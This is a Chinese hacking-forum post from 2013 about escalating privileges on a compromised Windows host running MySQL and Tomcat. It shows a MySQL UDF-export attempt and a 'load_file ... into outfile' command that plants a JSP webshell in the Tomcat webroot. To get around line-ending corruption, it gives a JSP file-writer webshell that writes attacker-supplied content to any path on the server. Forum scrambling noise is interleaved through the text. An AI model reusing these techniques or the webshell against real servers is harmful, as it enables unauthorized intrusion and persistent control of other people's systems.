找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2425|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
$ Q2 s; b" C# E: i' M
8 M2 s% d! v' D& s7 r首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php3 `& S2 |2 f$ o& F% K
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口). b3 L" s- l1 G7 C/ @
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了: _$ O/ |4 u) q9 w# |, ~& n
1 show variables like '%plugin%';
$ ?7 Q" T5 W, M. q- f* s! k( D后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
* o; t( ]# Y2 G9 f& y6 m7 S+ @创建自定义函数似乎被拦截,一直失败。
4 ]+ a6 o8 L; B: h* |# D后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
' h9 w' ?$ W8 J# m测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp$ S. H1 V1 B! j. F
用mysql执行语句:
9 K- ]' }$ Z' o: o4 x& E1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'2 E% C+ V5 |4 Z5 V$ o  Z
2 复制代码/ s  a1 k& x/ ~
后成功。
2 J9 r* z( d% q但是访问后得到如下提示:
" t. a9 ~; J3 m  t; w% @  K1 c, j​500页面  e* k" d0 K4 a* i8 K
: J0 {+ j0 O- D7 A& E

$ {* A/ t* ]3 l$ U% u1 ~- T明显是MySQL的Win下版本自动添加转义符\n\r了1 T; z$ o  H% x8 Z
这样导致程序运行的悲剧。
8 D/ [% A  @& x" w! |+ g从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
! Z+ v: z0 S$ P  B: i最后弄了这么个小脚本:
  p( G2 D6 T: @, G) Y' ?01 <%@ page language="java" pageEncoding="gbk"%>, [8 n% I4 C. p8 p
02 <jsp:directive.page import="java.io.File"/>5 P4 s- k4 }* b1 \8 Y
03 <jsp:directive.page import="java.io.OutputStream"/>
3 q  Q  W- b1 u9 b7 P2 {- o04 <jsp:directive.page import="java.io.FileOutputStream"/>
$ ~! M8 u5 S! O* Q05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>3 w" `' G1 z/ p/ L
06 error www.2cto.com- t" e, K  Y7 M) p
07 <%}}if(i==0){%>
2 |% b4 h7 U+ G08 ok  f# i+ r  _& R/ J7 m; N
09 <%}%>
% w8 `: E. y2 v9 K1 F10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
! X2 ^$ C3 r8 [3 `* F3 t2 ^; }就可以避免转义符让JSP的马儿运行500错误了。
& o5 V9 C5 P) c* B" q4 g6 s- g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表